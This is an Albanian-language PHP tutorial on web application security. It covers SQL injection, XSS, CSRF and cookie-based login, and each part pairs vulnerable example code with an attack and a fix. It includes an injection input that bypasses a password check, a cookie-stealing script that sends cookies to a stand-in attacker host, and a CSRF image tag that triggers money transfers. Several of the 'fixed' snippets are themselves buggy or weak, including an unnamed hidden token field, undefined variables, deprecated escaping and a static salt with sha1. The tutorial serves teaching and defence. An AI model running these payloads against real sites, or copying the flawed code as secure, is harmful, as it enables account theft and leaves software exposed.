| SQL | | Kopjo Kodin | | ? |
| 1 | SELECT * FROM anetaret WHERE emri='feniksi' AND fjalekalimi='e10adc3949ba59abbe56e057f20f883e' |
Sulmuesi bën një test për të parë nëse aplikacioni “vuan” nga SQL Injections duke shtuar një thonjzë teke në emër. Pra, emri bëhet: feniksi’ . Query SQL do të duket si më poshtë:
| SQL | | Kopjo Kodin | | ? |
| 1 | SELECT * FROM anetaret WHERE emri='feniksi'' AND fjalekalimi='e10adc3949ba59abbe56e057f20f883e' |
Vini re dy thonjëzat teke pas “feniksi”! Një sintaksë e tillë është e gabuar në SQL dhe rrjedhimisht do të prodhohet një gabim, i cili do të shfaqet nga funksioni mysql_error() që kam shkruar. Në këtë moment, sulmuesi e di që aplikacioni s’bën asgjë për të pastruar të dhënat dhe këtu fillon loja. Rasti jonë është aq vulnerabël sa sulmuesi mund të identifikohet vetëm duke ditur (ose hamendësuar) një emër, pa pasur nevojë të dijë fjalëkalimin.
Emrin e modifikoj sërisht, tani për ta bërë: feniksi’ – . Query SQL do të jetë e tillë:
| SQL | | Kopjo Kodin | | ? |
| 1 | SELECT * FROM anetaret WHERE emri='feniksi' --' AND fjalekalimi='e10adc3949ba59abbe56e057f20f883e' |
Dy minuset janë komente në MySQL. Ajo që kam bërë më sipër është fare e thjeshtë dhe diçka që edhe një sulmues 10 vjeçar e di. Kam instruktuar që të kontrolloj për një emër “feniksi” dhe kam komentuar të gjithë kodin në vazhdim. Pra, kam komentuar pjesën ku kontrollohet fjalëkalimi. Fatale apo jo? Sulmuesi mund të identifikohet thjeshtë duke shkruar emrin! Ky emër mund të jetë “admin” dhe automatikisht ka marrë kredencialet e administratorit.
Imagjinoni sisteme më komplekse ku anëtarët kanë të ruajtur në databazë të dhëna sensitive. Sulmuesit i mjafton të bashkojë një query SQL egzistuese me një query që e shkruan ai, përmes UNION, që të marrë të dhëna nga kushdo tabelë që i intereson.
Shmangja e SQL Injections
Për fat të mirë, pastrimi i të dhënave dhe shmangja e SQL Injections është fare e thjeshtë. Për fat të keq, programuesëve u janë dashur vite ta mësojnë këtë praktikë dhe me siguri ka akoma programues me eksperiencë që nuk marrin masa. Për të ardhur keq…
Kodi më poshtë është modifikuar që të pastrojë të dhënat dhe ti nxjerrë tërësisht jashtë loje sulmet SQL Injection. E gjitha bazohet në një funksion të vetëm, i cili duhet t’ju bëhet rutinë.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_POST['emri'])) { |
| 03 | /* |
| 04 | Kam pastruar emrin me mysql_real_escape_string(), i cili |
| 05 | ben escape (shton: \) karakteret qe mund te thyejne nje |
| 06 | query SQL. Ketu perfshihen edhe thonjezat teke dhe dyshe. |
| 07 | |
| 08 | Fjalekalimin nuk e kam pastruar sepse konvertohet ne md5() |
| 09 | perpara se te perdoret ne SQL. |
| 10 | */ |
| 11 | $emri = mysql_real_escape_string($_POST['emri']); |
| 12 | $fjalekalimi = $_POST['fjalekalimi']; |
| 13 | |
| 14 | $fjalekalimi = md5($fjalekalimi); |
| 15 | |
| 16 | $rezultatet = mysql_query("SELECT * FROM anetaret WHERE emri='$emri' AND fjalekalimi='$fjalekalimi'") or die(mysql_error()); |
| 17 | if (mysql_num_rows($rezultatet)) { |
| 18 | include('paneli-anetarit.php'); |
| 19 | } |
| 20 | } |
| 21 | ?> |
Më e thjeshtë se kaq, s’ka ku të shkojë. Po e rithem: funksionin mysql_real_escape_string(), ose çfarëdo funksioni përdor databaza që keni zgjedhur, bëjeni rutinë. Një praktikë kaq minimale shmang aq shumë probleme madhore sigurie.
Për t’ju dhënë pak përmbajtje ekstra, po e rishkruaj shembullin më sipër të jetë edhe më i sigurt. Nuk do të përdor md5(), sepse është provuar që mund të thyhet pa shumë mund, dhe do të përdor SALT për të rritur sigurinë e fjalëkalimeve. Gjithashtu do të heq pjesën: or die(mysql_error()), e cila të ndihmon gjatë kodimit, por s’duhet të egzistojë në mjedis produksioni. Po kujtoj këtu direktivën display_errors.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_POST['emri'])) { |
| 03 | $emri = mysql_real_escape_string($_POST['emri']); |
| 04 | $fjalekalimi = $_POST['fjalekalimi']; |
| 05 | $kripeza = 'Feniksi.com'; |
| 06 | |
| 07 | /* |
| 08 | Kripeza eshte nje tekst arbitrar qe i bashkangjitet fjalekalimit |
| 09 | per ta bere me te veshtire gjetjen e tij, sidomos per fjalekalime |
| 10 | te thjeshta. Mund te jete nje fjale statike apo dinamike, per aq |
| 11 | kohe sa ruhet diku dhe perdoret e njejta ne krijimin e fjalekalimit |
| 12 | dhe krahasimet e tij. |
| 13 | */ |
| 14 | $fjalekalimi = sha1($fjalekalimi . $kripeza); |
| 15 | |
| 16 | $rezultatet = mysql_query("SELECT * FROM anetaret WHERE emri='$emri' AND fjalekalimi='$fjalekalimi'"); |
| 17 | if (mysql_num_rows($rezultatet)) { |
| 18 | include('paneli-anetarit.php'); |
| 19 | } |
| 20 | } |
| 21 | ?> |
XSS: Cross Site Scripting
Cross Site Scripting, ose si ç’njihet shkurtimisht: XSS, është teknika tjetër popullore për të sulmuar një aplikacion. Edhe këtu rrezikshmëria është e madhe, por ndryshe nga SQL Injections, kërkon interaksion me vizitorët. Në thelb, sulmuesi injekton në faqe një kod i cili bën veprime të caktuara. Mund të jetë një kod HTML i thjeshtë për të luajtur (psh: <marquee>), ose një taktikë shumë më e rrezikshme si përdorimi i Javascript për të vjedhur Cookies.
Si shembull do të marr një formë të thjeshtë komentesh, meqë është rasti tipik ku vizitorët mund të shkruajnë lirisht dhe kushdo i sheh. Kodi PHP shton komentin (nëse POST është vendosur) dhe shfaq të gjitha komentet në faqe.
| HTML | | Kopjo Kodin | | ? |
| 1 | <form method="post"> |
| 2 | <label>Emri</label> |
| 3 | <input type="text" name="emri" /> |
| 4 | <label>E-Mail</label> |
| 5 | <input type="text" name="emri" /> |
| 6 | <label>Mesazhi</label> |
| 7 | <textarea name="mesazhi"></textarea> |
| 8 | <button type="submit">Posto</button> |
| 9 | </form> |
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_POST['emri'])) { |
| 03 | $emri = $_POST['emri']; |
| 04 | $email = $_POST['email']; |
| 05 | $mesazhi = $_POST['mesazhi']; |
| 06 | |
| 07 | $rezultatet = mysql_query("INSERT INTO komentet (emri, email, mesazhi) VALUES ('$emri', '$email', '$mesazhet')"); |
| 08 | if ($rezultatet) { |
| 09 | echo 'Komenti u postua me sukses'; |
| 10 | } |
| 11 | } |
| 12 | |
| 13 | $rezultatet = mysql_query("SELECT * FROM komentet ORDER BY data DESC"); |
| 14 | while ($vlerat = mysql_fetch_assoc($rezultatet)) { |
| 15 | echo $vlerat['emri'] . ' ' . $vlerat['email'] . '<br />'; |
| 16 | echo $vlerat['mesazhi']; |
| 17 | echo '<br /><br />'; |
| 18 | } |
| 19 | ?> |
Kod i thjeshtë besoj?! Fillimisht kontrollon nëse është postuar forma dhe e shton në databazë, ndërsa më poshtë shfaq të gjitha mesazhet. Kodit i mungon kontrolli i të dhënave dhe është vulnerabël ndaj SQL Injections, por në këtë moment na intereson XSS, kështu që mos të zgjatemi pa arsye.
Problemi i madh i kodit më sipër është se supozon që çdo vizitor është njeri i besuar që s’ka fare interes të përfitojë. Kundërshtim direkt me “Murin Mbrojtës”. Në fakt, kodi është aq vulnerabël sa kushdo mund të postojë çfarëdo. Le të postojmë në atë formë diçka që përfiton direkt të dhëna sensitive nga vizitorët.
Plotësoj një emër dhe email çfarëdo, ndërsa në fushën e mesazhit postoj kodin më poshtë:
| Javascript | | Kopjo Kodin | | ? |
| 1 | <script src="text/javascript"> |
| 2 | document.location = "http://www.faqjaesulmuesit.com/merrcookie.php?c=" + document.cookie; |
| 3 | </script> |
Praktikisht kam injektuar kodin më sipër në faqe duke e bërë pjesë integrale të saj. Sa herë që një vizitor hap faqen e komenteve, automatikisht egzekutohet kodi më sipër. Ndërkohë, në serverin tim ruaj një skedar PHP i cili merr Cookie-n nga parametri “c” dhe ma dërgon me email. Në Javascript, document.cookie kthen të gjitha Cookie-t e krijuara në atë faqe. Rezultati i kësaj? Morra të gjitha Cookie-t e vizitorëve vetëm duke injektuar një kod fare të thjeshtë. Imagjinojeni këtë në një sistem më kompleks ku merret Cookie i administratorit. Automatikisht, sulmuesi mund ta përdorë për tu identifikuar në sistem pa pasur nevojë të dijë asnjë të dhënë, por thjeshtë duke krijuar një Cookie me të dhënat e marra nga sulmi XSS. Do të ishte shkatërruese!
XSS nuk limitohet vetëm në rastin më sipër, por ka fushë më të gjerë veprimi. Mjafton të ketë të dhëna hyrëse të cilat shfaqen më pas diku (dhe normalisht, pothuajse gjithmonë shfaqen diku) dhe sistemi është vulnerabël. Mund të mos përdoret vetëm për të përftuar të dhëna, por edhe për reklamim. Imagjinoni rastin më sipër, por kodi Javascript të dërgon në faqen personale të sulmuesit. Vizita automatike pa asnjë lodhje.
Shmangja e XSS
Për fat të mirë, edhe XSS është aq e lehtë të shmanget sa gjithçka varet nga një funksion. Kodi më poshtë i pastron të dhënat hyrëse dhe është tërësisht i mbrojtur nga XSS.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_POST['emri'])) { |
| 03 | $emri = htmlentities($_POST['emri'], ENT_QUOTES); |
| 04 | $email = htmlentities($_POST['email'], ENT_QUOTES); |
| 05 | $mesazhi = htmlentities($_POST['mesazhi'], ENT_QUOTES); |
| 06 | |
| 07 | $rezultatet = mysql_query("INSERT INTO komentet (emri, email, mesazhi) VALUES ('$emri', '$email', '$mesazhet')"); |
| 08 | if ($rezultatet) { |
| 09 | echo 'Komenti u postua me sukses'; |
| 10 | } |
| 11 | } |
| 12 | ?> |
htmlentities() është një tjetër funksion që duhet t’ju bëhet rutinë. Ajo që bën është konvertimi i karaktereve speciale në entitete HTML, në mënyrë që teksti të mos konsiderohet si kod, por të shfaqet në formën e tij origjinale. Kjo bën që çdo lloj kodi, qoftë HTML apo Javascript, të shfaqet si tekst i thjeshtë. XSS u neutralizua!
Duke qenë se kodi bën edhe query SQL, egziston rreziku i SQL Injections dhe duhet pastruar. Për ta bër më të thjeshtë, në kodin më poshtë kam ndërtuar një funksion që pastron të dhënat edhe nga XSS, edhe nga SQL Injections.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_POST['emri'])) { |
| 03 | $emri = pastro($_POST['emri']); |
| 04 | $email = pastro($_POST['email']); |
| 05 | $mesazhi = pastro($_POST['mesazhi']); |
| 06 | |
| 07 | $rezultatet = mysql_query("INSERT INTO komentet (emri, email, mesazhi) VALUES ('$emri', '$email', '$mesazhet')"); |
| 08 | if ($rezultatet) { |
| 09 | echo 'Komenti u postua me sukses'; |
| 10 | } |
| 11 | } |
| 12 | |
| 13 | function pastro ($teksti) { |
| 14 | $teksti = mysql_real_escape_string(htmlentities($teksti)); |
| 15 | return $teksti; |
| 16 | } |
| 17 | ?> |
Me vetëm dy funksione shmangen pjesa madhore e sulmeve në aplikacione web. Kini parasysh që shumica e sulmuesëve janë njerëz në moshë të vogël që kanë parë ndonjë video apo kanë lexuar ndonjë artikull mbi sulmimin e aplikacioneve. Kuptohet lehtë që tentativat kryesore do të jenë ato që s’kërkojnë shumë punë dhe kohë. XSS dhe SQL Injections janë më të lehtat!
CSRF: Cross-Site Request Forgeries
Cross-Site Request Forgeries, ose ndryshe CSRF, është një tip sulmi pak më i komplikuar dhe që kërkon disa kushte për tu egzektuar. Sidoqoftë, ka qenë dhe vazhdon të jetë i përhapur në aplikacionet ku programuesit s’janë treguar të përgjegjshëm.
CSRF është një sulm ku sulmuesi e bën viktimën të egzekutojë kërkesa HTTP pa dijeninë e këtij të fundit. Viktima mund të jetë çdo vizitor i faqes dhe kjo e bën të rrezikshme, sepse tentativat e sulmeve janë praktikisht të padallueshme pa raportim nga vizitorët ose vërejtje e veprimeve të çuditshme. Ajo që ndodh, është se sulmuesit zbulojnë forma në aplikacion të cilat janë vulnerabël ndaj manipulimeve dhe i bëjnë viktimat të dërgojnë të dhëna pa bërë asnjë veprim. Kjo kryhet duke i bërë ata të vizitojnë një faqe apo edhe thjeshtë një imazh të përfshirë diku; mjafton që teknika të egzekutojë një kërkesë HTTP e cila kryen veprime nga ana e viktimës. Teorikisht duket abstrakte, prandaj po ju tregoj një shembull konkret.
Rasti më i mirë dhe më dramatik për ta ilustruar është duke përdorur një shembull nga Wikipedia. Supozojmë se kemi një sistem pagese ku anëtarët mund të bëjnë transferta parash midis tyre. Anëtari viktimë do të jetë Beni, ndërsa anëtari sulmues Dori. Fillimisht do të ndërtoj formën e transfertës së parave midis anëtarëve dhe kodin PHP që e proçeson dhe egzekuton atë. Kuptohet, kodin do ta shkruaj që të jetë vulnerabël ndaj CSRF.
| HTML | | Kopjo Kodin | | ? |
| 1 | <form method="post"> |
| 2 | <label>Tek</label> |
| 3 | <input type="text" name="tek" /> |
| 4 | <label>Sasia e Parave</label> |
| 5 | <input type="text" name="sasia" /> |
| 6 | <button type="submit">Dergo</button> |
| 7 | </form> |
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_REQUEST['tek'])) { |
| 03 | $tek = mysql_real_escape_string($_REQUEST['tek']); |
| 04 | $sasia = (float) $_REQUEST['sasia']; |
| 05 | |
| 06 | $rezParate = mysql_query("SELECT parate FROM anetaret WHERE emri='$nga'"); //$nga po supozoj se vjen nga nje COOKIE |
| 07 | $vlerParate = mysql_fetch_assoc($rezParate); |
| 08 | |
| 09 | $rezEgzis = mysql_query("SELECT id FROM anetaret WHERE emri='$tek'"); |
| 10 | |
| 11 | /* |
| 12 | Nese anetari ka mjaftueshem para per te derguar dhe marresi egziston. |
| 13 | Jo edhe aq miqesore, sepse do duhet te ndaheshin tipet e ndryshme te mesazheve, |
| 14 | poer e ben punen si shembull. |
| 15 | */ |
| 16 | if ($vlerParate['parate'] >= $sasia and mysql_num_rows($rezEgzis)) { |
| 17 | /* |
| 18 | I heq dhe i shton parate respektivisht derguesit dhe marresisht dhe e regjistron transferten. |
| 19 | Normalisht, ne te tilla sisteme ku nje grup query-sh duhet te egzekutohet ne bllok dhe nese |
| 20 | njera deshton, deshtojne te gjitha, duhet te perdoren Transaksione. |
| 21 | */ |
| 22 | $rezTransferta = mysql_query("INSERT INTO transfertat (nga, tek, sasia) VALUES ('$nga', '$tek', '$sasia')"); |
| 23 | $rezMinus = mysql_query("UPDATE anetaret SET parate=parate - $sasia WHERE emri='$nga'"); |
| 24 | $rezPlus = mysql_query("UPDATE anetaret SET parate=parate + $sasia WHERE emri='$tek'"); |
| 25 | |
| 26 | echo 'Transferta u krye me sukses.'; |
| 27 | } else { |
| 28 | echo 'Parate nuk u derguar sepse nuk keni para ne llogari ose marresi nuk egziston.'; |
| 29 | } |
| 30 | } |
| 31 | ?> |
Forma HTML është fare e thjeshtë: 2 fusha për të vendosur marrësin dhe sasinë e parave. Në kohën kur anëtari ndodhet në atë formë, supozohet të jetë identifikuar në sistem dhe të jetë krijuar një Cookie për të regjistruar gjendjen e identifikimit dhe për të ruajtur “emrin” e tij. Kodi PHP përdor atë Cookie për të kuptuar kush është dërguesi dhe formën për të përcaktuar marrësin dhe sasinë. Në fund, nëse sasia e parave e dërguesit është e mjaftueshme dhe marrësi egziston, transferta kryhet dhe paratë zbriten dhe rriten tek anëtarët përkatës. Një sistem i thjeshtë, por që mund të manipulohet po aq thjeshtë.
Gjëja e parë që duhet të vini re në kodin e mësipërm është përdorimi i $_REQUEST. Ju tregova në fillim të guidës që $_REQUEST është një variabël superglobale që akseson vlerat e POST, GET, COOKIE dhe SESSION. Sulmuesi, që normalisht është një anëtar, mjafton të testojë formën e dërgimit për të parë si reagon kur vendosen variabla GET. Duke qenë se përdoret $_REQUEST dhe nuk egziston kontrolli i burimit, forma do të egzekutohet pa bërë pyetje. Pra, le të themi se sulmuesi shkruan këtë adresë:
http://www.sistemipageses.com/dergopara.php?tek=Dori&sasia=1000
Ju kujtoj se sulmesi e ka emrin (hipotetik) Dori. Kemi një aplikacion vulnerabël ndaj CSRF, një URL e cila egzekuton formën duke përdorur GET dhe i dërgon Dorit 1000 njësi parash. Problemi qendron se sulmuesit s’i intereson ti dërgojë para vetes dhe i duhet një viktimë. Këtu hyn në lojë Beni!
Sulmesi tashmë ka disa opsione. I pari dhe më i thjeshti do të ishte nëse e njeh viktimën dhe i dërgon URL-në për ta hapur, gjë që automatikisht do transferonte 1000 para tek Dori. Edhe pse do funksiononte, duhet njohur viktima (gjë që rrallë ndodh) dhe për më tepër, do u kufizonte në vetëm një njeri; fundja Beni nuk është milioner. Sulmuesit i intereson të marrë pak para nga njerëz të ndryshëm, që sasia të jetë e madhe dhe të mos bie në sy. Vijmë pra tek teknika e dytë; ajo më fatalja.
Sulmuesi bën disa kërkime për të parë nëse aplikacioni ka ndonjë forum për suport, kërkesa dhe gjëra të kësaj natyre. Nëse e gjen, puna lehtësohet shumë, por edhe nëse jo, asgjë s’është e humbur. Mund të përdorë një grup forumesh të populluar dhe me siguri disa nga anëtarët e aplikacionit në fjalë do jenë pjesëmarrës atje. Në çdo rast, i mjafton të krijojë një profil dhe si firmë (një opsion i ofruar në pothuajse të gjitha forumet që shfaq një teskt/imazh në fund të çdo postimi) të vendosë rreshtin më poshtë. Forumet janë një shembull, por mundësitë janë të mëdha. Një ide e mirë (e keqe në fakt!) do të ishte krijimi i një blogu që flet për aplikacionin: guidë si përdoret, anë negative, raportim rastesh abuzimi dhe çdo gjë që mendja mund të shpikë. Është e sigurtë që anëtarët e vetë aplikacionit do e gjejnë faqen dhe do interesohen për shkrimet kontroverse (edhe pse të shpikura) në të. Kthehemi tek kodi:
| HTML | | Kopjo Kodin | | ? |
| 1 | <img src="http://www.sistemipageses.com/dergopara.php?tek=Dori&sasia=1000" alt="Firma Ime" /> |
Një imazh? Pikërisht një imazh me “src” (source – burim) që drejton tek URL-ja e manipuluar. Shfletuesit e proçesojnë dhe egzekutojnë URL-në në burim pa qenë të vetëdijshëm që nuk është imazh. Kjo bën që URL-ja të egzekutohet në çdo hapje të faqeve ku imazhi është vendosur. Në rastin tonë, ku imazhi ndodhet në firmën e sulmuesit apo në një postim blogu, kushdo që e sheh, e egzekuton. Imagjinoni nëse 100 anëtarë të aplikacionit në fjalë hapin forumin dhe egzekutojnë pa ditur atë URL! Duke qenë se sistemi përdor Cookies për anëtarët e identifikuar, dërgimi i parave do të kryhet automatikisht pa asnjë pyetje. Dori do të marrë 1000 para nga 100 anëtarë. Nëse do të ndodhte në një sistem të vërtetë, rezultatet do të ishin fatale!
Shpresoj ta keni kuptuar logjikën e funksionimit të CSRF, sepse të jem i sinqertë, është pak e komplikuar të gëlltitet. Sidomos sepse është teknikë paksa e çuditshme. Me siguri disa po mendojnë se është shumë e pamundur të ndodhë, sepse kërkon shumë përfshirje dhe kohë. Imagjinoni të bëhet fjalë për para të vërteta ku sulmuesi mund të përfitojë sasi të mëdha. Mendoni se s’ja vlen puna? Dikush me njohuri mund ta ndërtojë “rrjetin” e përfitimit brenda pak orëve.
Shmangja e CSRF
Për fat të mirë, ashtu si në teknikat e deri tanishme, edhe CSRF është e thjeshtë të shmanget nëse merren disa masa që nuk kërkojnë shumë punë. Kini parasysh këto pika:
- Mos përdorni $_REQUEST. E kam përmendur në fillim të guidës në një mini-seksion të veçantë. Mos njohja e burimit të të dhënave rrjedhimisht sjell probleme sigurie.
- Përdorni POST në forma që kryejnë veprime dhe lëreni GET vetëm për të marrë të dhëna. Ky është një standart i mirë që do ju shmangë probleme, përfshirë CSRF (nëse përdoret $_POST dhe jo $_REQUEST).
- Mos përdorni COOKIES në sisteme ku veprimet e anëtarëve kanë rrjedhoja. Në pjesën e madhe të rasteve, SESSIONS janë më të sigurtë. Nëse duhet patjetër ti ofroni anëtarëve autentifikim të zgjatur në kohë, merrni masat e duhura për të siguruar COOKIES (vjen në vijim).
- Kërkoni ri-autentifikim të anëtarëve në zona kritike të sistemit.
Masat e mësipërme, nëse respektohen zgjidhin problemet tipike që mund të vijnë nga CSRF. Megjithatë, për të qenë paranoikë në maksimum, mund të marrim një hap që praktikisht bllokon çdo tentativë për ti keqpërdorur format. Teknika përfshin krijimin e një fjale speciale të gjeneruar për çdo hapje forme, e cila ruhet si SESSION tek anëtari dhe përdoret për të parë nëse forma është egzekutuar në atë sesion. Shihni kodin më parë:
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | session_start(); |
| 03 | /* |
| 04 | Gjeneron nje fjale te rastesishme. uniqid() eshte funksion i PHP |
| 05 | qe gjeneron fjale ne baze te kohes ne mikrosekonda. Duke i vendosur |
| 06 | parametrin e pare (prefiksi) si mt_rand(), krijon edhe me teper |
| 07 | rastesi. Parametri i dyte (more_entropy) krijon gjithashtu me teper |
| 08 | rastesi ne gjenerim. Ne fund, e gjithe fjala kriptohet me sha1. |
| 09 | */ |
| 10 | $token = sha1(uniqid(mt_rand(), TRUE)); |
| 11 | |
| 12 | /* |
| 13 | Krijohet SESSION i cili mban token-in e gjeneruar. |
| 14 | */ |
| 15 | $_SESSION['token'] = $token; |
| 16 | ?> |
| 17 | |
| 18 | <form method="post"> |
| 19 | <!-- Token-i vendoset si fushe e fshehur ne forme --> |
| 20 | <input type="hidden" value="<?php echo $token; ?>" |
| 21 | <label>Tek</label> |
| 22 | <input type="text" name="tek" /> |
| 23 | <label>Sasia e Parave</label> |
| 24 | <input type="text" name="sasia" /> |
| 25 | <button type="submit">Dergo</button> |
| 26 | </form> |
| 27 | <?php |
| 28 | if (isset($_POST['tek']) and isset($_SESSION['token']) and $_SESSION['token'] == $_POST['token']) { |
| 29 | $tek = mysql_real_escape_string($_POST['tek']); |
| 30 | $sasia = (float) $_POST['sasia']; |
| 31 | |
| 32 | $rezParate = mysql_query("SELECT parate FROM anetaret WHERE emri='$nga'"); //$nga po supozoj se vjen nga nje COOKIE |
| 33 | $vlerParate = mysql_fetch_assoc($rezParate); |
| 34 | |
| 35 | $rezEgzis = mysql_query("SELECT id FROM anetaret WHERE emri='$tek'"); |
| 36 | |
| 37 | /* |
| 38 | Nese anetari ka mjaftueshem para per te derguar dhe marresi egziston. |
| 39 | Jo edhe aq miqesore, sepse do duhet te ndaheshin tipet e ndryshme te mesazheve, |
| 40 | poer e ben punen si shembull. |
| 41 | */ |
| 42 | if ($vlerParate['parate'] >= $sasia and mysql_num_rows($rezEgzis)) { |
| 43 | /* |
| 44 | I heq dhe i shton parate respektivisht derguesit dhe marresisht dhe e regjistron transferten. |
| 45 | Normalisht, ne te tilla sisteme ku nje grup query-sh duhet te egzekutohet ne bllok dhe nese |
| 46 | njera deshton, deshtojne te gjitha, duhet te perdoren Transaksione. |
| 47 | */ |
| 48 | $rezTransferta = mysql_query("INSERT INTO transfertat (nga, tek, sasia) VALUES ('$nga', '$tek', '$sasia')"); |
| 49 | $rezMinus = mysql_query("UPDATE anetaret SET parate=parate - $sasia WHERE emri='$nga'"); |
| 50 | $rezPlus = mysql_query("UPDATE anetaret SET parate=parate + $sasia WHERE emri='$tek'"); |
| 51 | |
| 52 | echo 'Transferta u krye me sukses.'; |
| 53 | } else { |
| 54 | echo 'Parate nuk u derguar sepse nuk keni para ne llogari ose marresi nuk egziston.'; |
| 55 | } |
| 56 | } |
| 57 | ?> |
Funksioni i asaj fjale të veçantë, që quhet Token, është fare i thjeshtë. Gjenerohet një fjalë e rastësishme e cila rifreskohet në çdo hapje të faqes. Fjala ruhet në një SESSION dhe në të njëjtën kohë ruhet në një input të fshehur të formës. Kur forma egzekutohet, kontrollohet nëse fjala (Token) e ruajtur në SESSION është e njëjtë me atë të ruajtur në formë. Nëse janë të ndryshme, do të thotë se forma po tentohet të egzekutohet përmes një teknike manipulative dhe rrjedhimisht, bllokohet. Vetëm me kaq, jo vetëm që shmangen sulmet CSRF, por edhe abuzime të tjera si dërgimi automatik i formave përmes robotëve.
Për ta përmbledhur, CSRF është një teknikë që përfiton nga naiviteti i programuesëve për të shfrytëzuar viktimat. Edhe pse çdo sistem mund të jetë vulnerabël, ajo që sulmuesëve realisht u intereson është përfitimi. Sistemet ku janë të përfshira para, transferta njësish monetare, blerje produktesh apo çdo gjë që ka vlerë objektive, janë në majën e listës të sulmeve CSRF. Megjithatë, të mbrohesh është aq e thjeshtë sa nuk ka justifikim për të mbrojtur çdo sistem, qoftë ai edhe më i vogli ku sulmuesit s’mund të përftiojnë asgjë. Mbani mend që vrimat e sigurisë janë ato që ushqejnë sulmuesit të bëjnë edhe më tepër dëme, qoftë në aplikacionin tuaj apo të të tjerëve. Mos i jepni shkas t’ju duket vetja se janë të aftë të thyejnë sisteme.
Siguria e Cookies
Cookies, si natyrë nuk janë të dhëna që mund të konsiderohen të sigurta dhe praktika e mirë është ti mënjanoni për të dhëna sensitive apo për të dhënë akses në seksione private. Vetë XSS është një sulm që si shënjestër ka Cookies në pjesën e madhe të rasteve dhe megjithëse mund të keni marrë masat për ti parandaluar, kjo s’do të thotë që Cookies të vizitorëve janë të sigurta. Pra, tentoni të mënjanoni përdorimin e Cookies për veprime me rëndësi.
Një nga rastet e pakta ku përdorimi i Cookies është i pashmangshëm janë sistemet e identifikimit, ku i ofrohet anëtarëve opsioni “më mbaj mend” që ruan statusin e identifikuar. Në fakt, përgjithësisht është opsion i detyrueshëm sepse i lë anëtarët të futen në aplikacionin tuaj pa pasur nevojë të identifikohen në çdo rast. Le të shohim një shembull tipik identifikimi.
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | if (kontrollo_te_dhenat($emri, $fjalekalimi)) { |
| 3 | setcookie('identifikuar', 1, time() + 3600 * 24 * 5); //vendos cookie per 5 dite |
| 4 | echo 'Te dhenat jane te sakte. Po drejtoheni ne panelin e administrimit...'; |
| 5 | } else { |
| 6 | echo 'Te dhenat jane te gabuara.'; |
| 7 | } |
| 8 | ?> |
Ajo që kodi më sipër bën është shumë e thjeshtë. Thërret një funksion fiktiv që kontrollon të dhënat e futura (emër dhe fjalëkalim) dhe nëse janë të sakta, vendos një Cookie me emër ‘identifikuar’ dhe vlerë ’1′. Teorikisht gjithçka është në rregull, sepse anëtarëve u krijohet një Cookie kur identifikohen. Për ti bërë që të futen automatikisht në sistem kur një Cookie egziston, programuesi shkruan një kod si ai më poshtë përpara kodit më sipër.
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | if (isset($_COOKIE['identifikuar']) and $_COOKIE['identifikuar'] == 1) { |
| 3 | setcookie('identifikuar', 1, time() + 3600 * 24 * 5); //vendos cookie per 5 dite |
| 4 | echo 'Te dhenat jane te sakte. Po drejtoheni ne panelin e administrimit...'; |
| 5 | } |
| 6 | ?> |
Në këtë kod, kontrollohet nëse egziston Cookie dhe nëse vlera e tij është “1″. Nëse po, proçesi i identifikimit kryhet automatikisht dhe anëtari drejtohet në panelin e administrimit. Gjithashtu rivendoset Cookie për ti rinisur kohën e skadencës. Gjithçka në rregull apo jo? Absolutisht që jo! Kodi është aq vulnerabël sa edhe një 10 vjeçar mund të marrë akses si anëtar i regjistruar.
Besoj e dini që një Cookie mund të krijohet manualisht. Shfletues të ndryshëm kanë opsione të ndryshme për ti manipuluar, qoftë direkt apo përmes shtojcave. Gjithashtu, Cookies s’janë asgjë më tepër se skedarë të vegjël që ruhen diku në sistem. Si të tilla, një sulmues mund të krijojë një Cookie për aplikacionin tuaj që përmban vlera arbitrare. I duhet të eksperimentojë disi për të gjetur kombinimin egzakt të emrit dhe vlerës, por programuesit përdorin kryesisht terma standartë si: admin, identifikuar dhe ndonjë tjetër. Plus, si ç’kam thënë më sipër, kur dikush i vë qëllim vetes të thyejë një sistem, nuk do dorëzohet aq lehtë. Pra, përfundimi është që vetëm me një Cookie të krijuar manualisht, sulmuesi mund të marrë akses në sistemi si të ishte anëtar i regjistruar.
Për ta mënjanuar këtë problem, mund të përdoret një sistem fare i thjeshtë që ruan një token në cookie për ta bërë hamendësimin nga sulmuesi shumë më të vështirë. Për ta siguruar edhe më tepër, ky token mund të ruhet në databazë për ta krahasur me Cookie-n. Ideja është të gjenerohet një fjalë e cila është e njëjtë edhe në Cookie, edhe në databazë. Identifikimi automatik do të kryhet vetëm nëse të dyja përputhen.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_COOKIE['identifikuar'])) { |
| 03 | $id = (int) $_COOKIE['id']; //ID-ja e perdoruesit |
| 04 | $token = $_COOKIE['identifikuar']; //token-i i ruajtur ne Cookie |
| 05 | |
| 06 | $rezultatet = mysql_query("SELECT token FROM anetaret WHERE id=$id"); |
| 07 | $vlerat = mysql_fetch_assoc($rezultatet); |
| 08 | |
| 09 | $token_db = $vlerat['token']; |
| 10 | |
| 11 | /* |
| 12 | Nese tokeni ne Cookie eshte i njejte me tokenin ne Databaze, |
| 13 | i japim akses ne panelin e administrimit. |
| 14 | */ |
| 15 | if ($token == $token_db) { |
| 16 | $token_ri = sha1(uniqid(mt_rand(), TRUE)); //gjenerohet nje token i ri |
| 17 | |
| 18 | $rezultatet = mysql_query("UPDATE anetaret SET token='$token_ri' WHERE id=$id"); //rifreskohet databaza me tokenin e ri |
| 19 | setcookie('identifikuar', $token_ri, time() + 3600*24*5); //rivendoset cookie me tokenin e ri |
| 20 | } |
| 21 | } |
| 22 | ?> |
